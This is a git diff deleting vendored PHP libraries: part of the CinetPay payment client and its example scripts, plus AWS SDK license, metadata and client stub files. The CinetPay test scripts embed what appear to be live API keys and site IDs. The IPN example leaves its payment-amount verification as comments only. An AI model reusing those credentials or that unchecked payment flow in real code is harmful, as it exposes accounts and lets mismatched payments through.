$this->_cpm_amount = $array_flux_json['transaction']['cpm_amount'];
|
||||
$this->_cpm_trans_date = $array_flux_json['transaction']['cpm_trans_date'];
|
||||
$this->_cpm_trans_id = $array_flux_json['transaction']['cpm_trans_id'];
|
||||
$this->_cpm_custom = $array_flux_json['transaction']['cpm_custom'];
|
||||
$this->_cpm_currency = $array_flux_json['transaction']['cpm_currency'];
|
||||
$this->_cpm_payid = $array_flux_json['transaction']['cpm_payid'];
|
||||
$this->_cpm_payment_date = $array_flux_json['transaction']['cpm_payment_date'];
|
||||
$this->_cpm_payment_time = $array_flux_json['transaction']['cpm_payment_time'];
|
||||
$this->_cpm_error_message = $array_flux_json['transaction']['cpm_error_message'];
|
||||
$this->_payment_method = $array_flux_json['transaction']['payment_method'];
|
||||
$this->_cpm_phone_prefixe = $array_flux_json['transaction']['cpm_phone_prefixe'];
|
||||
$this->_cel_phone_num = $array_flux_json['transaction']['cel_phone_num'];
|
||||
$this->_cpm_ipn_ack = $array_flux_json['transaction']['cpm_ipn_ack'];
|
||||
$this->_created_at = $array_flux_json['transaction']['created_at'];
|
||||
$this->_updated_at = $array_flux_json['transaction']['updated_at'];
|
||||
$this->_cpm_result = $array_flux_json['transaction']['cpm_result'];
|
||||
$this->_cpm_trans_status = $array_flux_json['transaction']['cpm_trans_status'];
|
||||
$this->_cpm_designation = $array_flux_json['transaction']['cpm_designation'];
|
||||
$this->_buyer_name = $array_flux_json['transaction']['buyer_name'];
|
||||
|
||||
if ($this->_cpm_site_id != $this->_cfg_cpm_site_id) {
|
||||
throw new \Exception("Desolé, aucune donnée trouvée !");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private function getPayStatusArray()
|
||||
{
|
||||
return $dataArray = array(
|
||||
'apikey' => $this->_cfg_apikey,
|
||||
'cpm_site_id' => $this->_cfg_cpm_site_id,
|
||||
'cpm_trans_id' => $this->_cfg_cpm_trans_id);
|
||||
}
|
||||
|
||||
public function isValidPayment()
|
||||
{
|
||||
if (!empty($this->_cpm_result) && $this->_cpm_result == '00') {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $id
|
||||
* @return $this
|
||||
*/
|
||||
public function setTransId($id)
|
||||
{
|
||||
$this->_cfg_cpm_trans_id = empty($id) ? self::generateTransId() : $id;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* generate transId
|
||||
* @return int
|
||||
*/
|
||||
public static function generateTransId()
|
||||
{
|
||||
$timestamp = time();
|
||||
$parts = explode(' ', microtime());
|
||||
$id = ($timestamp + $parts[0] - strtotime('today 00:00')) * 10;
|
||||
$id = mt_rand(10, 99) . sprintf('%06d', $id) . mt_rand(10, 99);
|
||||
|
||||
return $id;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $cfg_cpm_version
|
||||
* @return $this
|
||||
*/
|
||||
public function setVersion($cfg_cpm_version)
|
||||
{
|
||||
$this->_cfg_cpm_version = $cfg_cpm_version;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $notify_url
|
||||
* @return $this
|
||||
*/
|
||||
public function setNotifyUrl($notify_url)
|
||||
{
|
||||
$this->_cfg_notify_url = $notify_url;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $return_url
|
||||
* @return $this
|
||||
*/
|
||||
public function setReturnUrl($return_url)
|
||||
{
|
||||
$this->_cfg_return_url = $return_url;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $cancel_url
|
||||
* @return $this
|
||||
*/
|
||||
public function setCancelUrl($cancel_url)
|
||||
{
|
||||
$this->_cfg_cancel_url = $cancel_url;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $designation
|
||||
* @return $this
|
||||
*/
|
||||
public function setDesignation($designation)
|
||||
{
|
||||
$this->_cfg_cpm_designation = $designation;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $currency
|
||||
* @return $this
|
||||
*/
|
||||
public function setCurrency($currency)
|
||||
{
|
||||
$this->_cfg_cpm_currency = $currency;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $amount
|
||||
* @return $this
|
||||
*/
|
||||
public function setAmount($amount)
|
||||
{
|
||||
$this->_cfg_cpm_amount = $amount;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $custom
|
||||
* @return $this
|
||||
*/
|
||||
public function setCustom($custom)
|
||||
{
|
||||
$this->_cfg_cpm_custom = $custom;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $debug
|
||||
* @return $this
|
||||
*/
|
||||
public function setDebug($debug)
|
||||
{
|
||||
$this->_debug = $debug;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return null
|
||||
*/
|
||||
public function getPhonePrefixe()
|
||||
{
|
||||
return $this->_cfg_phone_prefixe;
|
||||
}
|
||||
|
||||
public function setPhonePrefixe($cpm_phone_prefixe)
|
||||
{
|
||||
if (!empty($cpm_phone_prefixe)) {
|
||||
$this->_cfg_phone_prefixe = $cpm_phone_prefixe;
|
||||
}
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return null
|
||||
*/
|
||||
public function getCelPhoneNum()
|
||||
{
|
||||
return $this->_cfg_cel_phone_num;
|
||||
}
|
||||
|
||||
public function setCelPhoneNum($cel_phone_num)
|
||||
{
|
||||
if (!empty($cel_phone_num)) {
|
||||
$this->_cfg_cel_phone_num = $cel_phone_num;
|
||||
}
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $date
|
||||
* @return $this
|
||||
* @throws \Exception
|
||||
*/
|
||||
public function setTransDate($date)
|
||||
{
|
||||
if ($this->IsDate($date)) {
|
||||
$date = new \DateTime($date);
|
||||
$this->_cfg_cpm_trans_date = $date->format('YmdHis');
|
||||
return $this;
|
||||
}
|
||||
throw new \Exception("Method [setTransDate] need a good Date");
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $date
|
||||
* @param string $format
|
||||
* @return bool
|
||||
*/
|
||||
private function IsDate($date, $format = 'Y-m-d H:i:s')
|
||||
{
|
||||
$version = explode('.', phpversion());
|
||||
if (((int)$version[0] >= 5 && (int)$version[1] >= 2 && (int)$version[2] > 17)) {
|
||||
$d = \DateTime::createFromFormat($format, $date);
|
||||
} else {
|
||||
$d = new \DateTime(date($format, strtotime($date)));
|
||||
}
|
||||
return $d && $d->format($format) == $date;
|
||||
}
|
||||
}
|
||||
47
vendor/cinetpay/cinetpay-php/tests/init.php
vendored
47
vendor/cinetpay/cinetpay-php/tests/init.php
vendored
@@ -1,47 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Created by PhpStorm.
|
||||
* User: Fawaz ADISA <adisaf@programmer.net>
|
||||
* Date: 20/03/2018
|
||||
* Time: 14:09
|
||||
*/
|
||||
require_once __DIR__ . '/../vendor/autoload.php';
|
||||
|
||||
use CinetPay\CinetPay;
|
||||
|
||||
/*
|
||||
* Preparation des elements constituant le panier
|
||||
*/
|
||||
$apiKey = "12912847765bc0db748fdd44.40081707"; //Veuillez entrer votre apiKey
|
||||
$site_id = "445160"; //Veuillez entrer votre siteId
|
||||
$id_transaction = CinetPay::generateTransId(); // Identifiant du Paiement
|
||||
$description_du_paiement = sprintf('Mon produit de ref %s', $id_transaction); // Description du Payment
|
||||
$date_transaction = date("Y-m-d H:i:s"); // Date Paiement dans votre système
|
||||
$montant_a_payer = mt_rand(100, 200); // Montant à Payer : minimun est de 100 francs sur CinetPay
|
||||
$devise = 'XOF'; // Montant à Payer : minimun est de 100 francs sur CinetPay
|
||||
$identifiant_du_payeur = 'payeur@domaine.ci'; // Mettez ici une information qui vous permettra d'identifier de façon unique le payeur
|
||||
$formName = "goCinetPay"; // nom du formulaire CinetPay
|
||||
$notify_url = ''; // Lien de notification CallBack CinetPay (IPN Link)
|
||||
$return_url = ''; // Lien de retour CallBack CinetPay
|
||||
$cancel_url = ''; // Lien d'annulation CinetPay
|
||||
// Configuration du bouton
|
||||
$btnType = 2;//1-5xwxxw
|
||||
$btnSize = 'large'; // 'small' pour reduire la taille du bouton, 'large' pour une taille moyenne ou 'larger' pour une taille plus grande
|
||||
|
||||
// Paramétrage du panier CinetPay et affichage du formulaire
|
||||
$cp = new CinetPay($site_id, $apiKey);
|
||||
try {
|
||||
$cp->setTransId($id_transaction)
|
||||
->setDesignation($description_du_paiement)
|
||||
->setTransDate($date_transaction)
|
||||
->setAmount($montant_a_payer)
|
||||
->setCurrency($devise)
|
||||
->setDebug(true)// Valorisé à true, si vous voulez activer le mode debug sur cinetpay afin d'afficher toutes les variables envoyées chez CinetPay
|
||||
->setCustom($identifiant_du_payeur)// optional
|
||||
->setNotifyUrl($notify_url)// optional
|
||||
->setReturnUrl($return_url)// optional
|
||||
->setCancelUrl($cancel_url)// optional
|
||||
->displayPayButton($formName, $btnType, $btnSize);
|
||||
} catch (Exception $e) {
|
||||
print $e->getMessage();
|
||||
}
|
||||
67
vendor/cinetpay/cinetpay-php/tests/ipn.php
vendored
67
vendor/cinetpay/cinetpay-php/tests/ipn.php
vendored
@@ -1,67 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Created by PhpStorm.
|
||||
* User: Fawaz ADISA <adisaf@programmer.net>
|
||||
* Date: 20/03/2018
|
||||
* Time: 14:09
|
||||
*/
|
||||
require_once __DIR__ . '/../vendor/autoload.php';
|
||||
|
||||
use CinetPay\CinetPay;
|
||||
|
||||
$id_transaction = $_POST['cpm_trans_id'];
|
||||
if (!empty($id_transaction)) {
|
||||
try {
|
||||
$apiKey = "21585943f75164bbc2.38014639"; //Veuillez entrer votre apiKey
|
||||
$site_id = "296911"; //Veuillez entrer votre siteId
|
||||
|
||||
$cp = new CinetPay($site_id, $apiKey);
|
||||
|
||||
// Reprise exacte des bonnes données chez CinetPay
|
||||
$cp->setTransId($id_transaction)->getPayStatus();
|
||||
$paymentData = [
|
||||
"cpm_site_id" => $cp->_cpm_site_id,
|
||||
"signature" => $cp->_signature,
|
||||
"cpm_amount" => $cp->_cpm_amount,
|
||||
"cpm_trans_id" => $cp->_cpm_trans_id,
|
||||
"cpm_custom" => $cp->_cpm_custom,
|
||||
"cpm_currency" => $cp->_cpm_currency,
|
||||
"cpm_payid" => $cp->_cpm_payid,
|
||||
"cpm_payment_date" => $cp->_cpm_payment_date,
|
||||
"cpm_payment_time" => $cp->_cpm_payment_time,
|
||||
"cpm_error_message" => $cp->_cpm_error_message,
|
||||
"payment_method" => $cp->_payment_method,
|
||||
"cpm_phone_prefixe" => $cp->_cpm_phone_prefixe,
|
||||
"cel_phone_num" => $cp->_cel_phone_num,
|
||||
"cpm_ipn_ack" => $cp->_cpm_ipn_ack,
|
||||
"created_at" => $cp->_created_at,
|
||||
"updated_at" => $cp->_updated_at,
|
||||
"cpm_result" => $cp->_cpm_result,
|
||||
"cpm_trans_status" => $cp->_cpm_trans_status,
|
||||
"cpm_designation" => $cp->_cpm_designation,
|
||||
"buyer_name" => $cp->_buyer_name,
|
||||
];
|
||||
// Recuperation de la ligne de la transaction dans votre base de données
|
||||
|
||||
// Verification de l'etat du traitement de la commande
|
||||
|
||||
// Si le paiement est bon alors ne traitez plus cette transaction : die();
|
||||
|
||||
// On verifie que le montant payé chez CinetPay correspond à notre montant en base de données pour cette transaction
|
||||
|
||||
// On verifie que le paiement est valide
|
||||
if ($cp->isValidPayment()) {
|
||||
echo 'Felicitation, votre paiement a été effectué avec succès';
|
||||
die();
|
||||
} else {
|
||||
echo 'Echec, votre paiement a échoué pour cause : ' . $cp->_cpm_error_message;
|
||||
die();
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
// Une erreur s'est produite
|
||||
echo "Erreur :" . $e->getMessage();
|
||||
}
|
||||
} else {
|
||||
// redirection vers la page d'accueil
|
||||
die();
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
## Code of Conduct
|
||||
This project has adopted the [Amazon Open Source Code of Conduct](https://aws.github.io/code-of-conduct).
|
||||
For more information see the [Code of Conduct FAQ](https://aws.github.io/code-of-conduct-faq) or contact
|
||||
opensource-codeofconduct@amazon.com with any additional questions or comments.
|
||||
@@ -1,141 +0,0 @@
|
||||
# Apache License
|
||||
Version 2.0, January 2004
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
## 1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1
|
||||
through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the
|
||||
License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled
|
||||
by, or are under common control with that entity. For the purposes of this definition, "control" means
|
||||
(i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract
|
||||
or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial
|
||||
ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications, including but not limited to software
|
||||
source code, documentation source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form,
|
||||
including but not limited to compiled object code, generated documentation, and conversions to other media
|
||||
types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License,
|
||||
as indicated by a copyright notice that is included in or attached to the work (an example is provided in the
|
||||
Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from)
|
||||
the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent,
|
||||
as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not
|
||||
include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work
|
||||
and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including the original version of the Work and any
|
||||
modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to
|
||||
Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to
|
||||
submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of
|
||||
electronic, verbal, or written communication sent to the Licensor or its representatives, including but not
|
||||
limited to communication on electronic mailing lists, source code control systems, and issue tracking systems
|
||||
that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise designated in writing by the copyright
|
||||
owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been
|
||||
received by Licensor and subsequently incorporated within the Work.
|
||||
|
||||
## 2. Grant of Copyright License.
|
||||
|
||||
Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare
|
||||
Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such
|
||||
Derivative Works in Source or Object form.
|
||||
|
||||
## 3. Grant of Patent License.
|
||||
|
||||
Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent
|
||||
license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such
|
||||
license applies only to those patent claims licensable by such Contributor that are necessarily infringed by
|
||||
their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such
|
||||
Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim
|
||||
or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work
|
||||
constitutes direct or contributory patent infringement, then any patent licenses granted to You under this
|
||||
License for that Work shall terminate as of the date such litigation is filed.
|
||||
|
||||
## 4. Redistribution.
|
||||
|
||||
You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You meet the following conditions:
|
||||
|
||||
1. You must give any other recipients of the Work or Derivative Works a copy of this License; and
|
||||
|
||||
2. You must cause any modified files to carry prominent notices stating that You changed the files; and
|
||||
|
||||
3. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent,
|
||||
trademark, and attribution notices from the Source form of the Work, excluding those notices that do
|
||||
not pertain to any part of the Derivative Works; and
|
||||
|
||||
4. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that
|
||||
You distribute must include a readable copy of the attribution notices contained within such NOTICE
|
||||
file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed as part of the Derivative Works; within
|
||||
the Source form or documentation, if provided along with the Derivative Works; or, within a display
|
||||
generated by the Derivative Works, if and wherever such third-party notices normally appear. The
|
||||
contents of the NOTICE file are for informational purposes only and do not modify the License. You may
|
||||
add Your own attribution notices within Derivative Works that You distribute, alongside or as an
|
||||
addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be
|
||||
construed as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and may provide additional or different license
|
||||
terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative
|
||||
Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the
|
||||
conditions stated in this License.
|
||||
|
||||
## 5. Submission of Contributions.
|
||||
|
||||
Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by
|
||||
You to the Licensor shall be under the terms and conditions of this License, without any additional terms or
|
||||
conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate
|
||||
license agreement you may have executed with Licensor regarding such Contributions.
|
||||
|
||||
## 6. Trademarks.
|
||||
|
||||
This License does not grant permission to use the trade names, trademarks, service marks, or product names of
|
||||
the Licensor, except as required for reasonable and customary use in describing the origin of the Work and
|
||||
reproducing the content of the NOTICE file.
|
||||
|
||||
## 7. Disclaimer of Warranty.
|
||||
|
||||
Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor
|
||||
provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
|
||||
or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT,
|
||||
MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of
|
||||
permissions under this License.
|
||||
|
||||
## 8. Limitation of Liability.
|
||||
|
||||
In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless
|
||||
required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any
|
||||
Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential
|
||||
damages of any character arising as a result of this License or out of the use or inability to use the Work
|
||||
(including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or
|
||||
any and all other commercial damages or losses), even if such Contributor has been advised of the possibility
|
||||
of such damages.
|
||||
|
||||
## 9. Accepting Warranty or Additional Liability.
|
||||
|
||||
While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for,
|
||||
acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole
|
||||
responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold
|
||||
each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
@@ -1,64 +0,0 @@
|
||||
# AWS SDK for PHP
|
||||
|
||||
<http://aws.amazon.com/php>
|
||||
|
||||
Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License").
|
||||
You may not use this file except in compliance with the License.
|
||||
A copy of the License is located at
|
||||
|
||||
<http://aws.amazon.com/apache2.0>
|
||||
|
||||
or in the "license" file accompanying this file. This file is distributed
|
||||
on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
|
||||
express or implied. See the License for the specific language governing
|
||||
permissions and limitations under the License.
|
||||
|
||||
# Guzzle
|
||||
|
||||
<https://github.com/guzzle/guzzle>
|
||||
|
||||
Copyright (c) 2014 Michael Dowling, https://github.com/mtdowling
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
# jmespath.php
|
||||
|
||||
<https://github.com/mtdowling/jmespath.php>
|
||||
|
||||
Copyright (c) 2014 Michael Dowling, https://github.com/mtdowling
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
@@ -1,68 +0,0 @@
|
||||
{
|
||||
"name": "aws/aws-sdk-php",
|
||||
"homepage": "http://aws.amazon.com/sdkforphp",
|
||||
"description": "AWS SDK for PHP - Use Amazon Web Services in your PHP project",
|
||||
"keywords": ["aws","amazon","sdk","s3","ec2","dynamodb","cloud","glacier"],
|
||||
"type": "library",
|
||||
"license": "Apache-2.0",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Amazon Web Services",
|
||||
"homepage": "http://aws.amazon.com"
|
||||
}
|
||||
],
|
||||
"support": {
|
||||
"forum": "https://forums.aws.amazon.com/forum.jspa?forumID=80",
|
||||
"issues": "https://github.com/aws/aws-sdk-php/issues"
|
||||
},
|
||||
"require": {
|
||||
"php": ">=5.5",
|
||||
"guzzlehttp/guzzle": "^5.3.3|^6.2.1|^7.0",
|
||||
"guzzlehttp/psr7": "^1.4.1",
|
||||
"guzzlehttp/promises": "^1.0",
|
||||
"mtdowling/jmespath.php": "^2.5",
|
||||
"ext-pcre": "*",
|
||||
"ext-json": "*",
|
||||
"ext-simplexml": "*"
|
||||
},
|
||||
"require-dev": {
|
||||
"ext-openssl": "*",
|
||||
"ext-dom": "*",
|
||||
"ext-pcntl": "*",
|
||||
"ext-sockets": "*",
|
||||
"phpunit/phpunit": "^4.8.35|^5.4.3",
|
||||
"behat/behat": "~3.0",
|
||||
"doctrine/cache": "~1.4",
|
||||
"aws/aws-php-sns-message-validator": "~1.0",
|
||||
"nette/neon": "^2.3",
|
||||
"andrewsville/php-token-reflection": "^1.4",
|
||||
"psr/cache": "^1.0",
|
||||
"psr/simple-cache": "^1.0",
|
||||
"paragonie/random_compat": ">= 2",
|
||||
"sebastian/comparator": "^1.2.3"
|
||||
},
|
||||
"suggest": {
|
||||
"ext-openssl": "Allows working with CloudFront private distributions and verifying received SNS messages",
|
||||
"ext-curl": "To send requests using cURL",
|
||||
"ext-sockets": "To use client-side monitoring",
|
||||
"doctrine/cache": "To use the DoctrineCacheAdapter",
|
||||
"aws/aws-php-sns-message-validator": "To validate incoming SNS notifications"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Aws\\": "src/"
|
||||
},
|
||||
"files": ["src/functions.php"]
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"Aws\\Test\\": "tests/"
|
||||
},
|
||||
"classmap": ["build/"]
|
||||
},
|
||||
"extra": {
|
||||
"branch-alias": {
|
||||
"dev-master": "3.0-dev"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ACMPCA;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AWS Certificate Manager Private Certificate Authority** service.
|
||||
* @method \Aws\Result createCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createCertificateAuthorityAsync(array $args = [])
|
||||
* @method \Aws\Result createCertificateAuthorityAuditReport(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createCertificateAuthorityAuditReportAsync(array $args = [])
|
||||
* @method \Aws\Result createPermission(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createPermissionAsync(array $args = [])
|
||||
* @method \Aws\Result deleteCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteCertificateAuthorityAsync(array $args = [])
|
||||
* @method \Aws\Result deletePermission(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deletePermissionAsync(array $args = [])
|
||||
* @method \Aws\Result deletePolicy(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deletePolicyAsync(array $args = [])
|
||||
* @method \Aws\Result describeCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise describeCertificateAuthorityAsync(array $args = [])
|
||||
* @method \Aws\Result describeCertificateAuthorityAuditReport(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise describeCertificateAuthorityAuditReportAsync(array $args = [])
|
||||
* @method \Aws\Result getCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result getCertificateAuthorityCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getCertificateAuthorityCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result getCertificateAuthorityCsr(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getCertificateAuthorityCsrAsync(array $args = [])
|
||||
* @method \Aws\Result getPolicy(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getPolicyAsync(array $args = [])
|
||||
* @method \Aws\Result importCertificateAuthorityCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise importCertificateAuthorityCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result issueCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise issueCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result listCertificateAuthorities(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listCertificateAuthoritiesAsync(array $args = [])
|
||||
* @method \Aws\Result listPermissions(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listPermissionsAsync(array $args = [])
|
||||
* @method \Aws\Result listTags(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listTagsAsync(array $args = [])
|
||||
* @method \Aws\Result putPolicy(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putPolicyAsync(array $args = [])
|
||||
* @method \Aws\Result restoreCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise restoreCertificateAuthorityAsync(array $args = [])
|
||||
* @method \Aws\Result revokeCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise revokeCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result tagCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise tagCertificateAuthorityAsync(array $args = [])
|
||||
* @method \Aws\Result untagCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise untagCertificateAuthorityAsync(array $args = [])
|
||||
* @method \Aws\Result updateCertificateAuthority(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateCertificateAuthorityAsync(array $args = [])
|
||||
*/
|
||||
class ACMPCAClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\ACMPCA\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AWS Certificate Manager Private Certificate Authority** service.
|
||||
*/
|
||||
class ACMPCAException extends AwsException {}
|
||||
@@ -1,157 +0,0 @@
|
||||
<?php
|
||||
namespace Aws;
|
||||
|
||||
use GuzzleHttp\Promise;
|
||||
|
||||
/**
|
||||
* A configuration provider is a function that returns a promise that is
|
||||
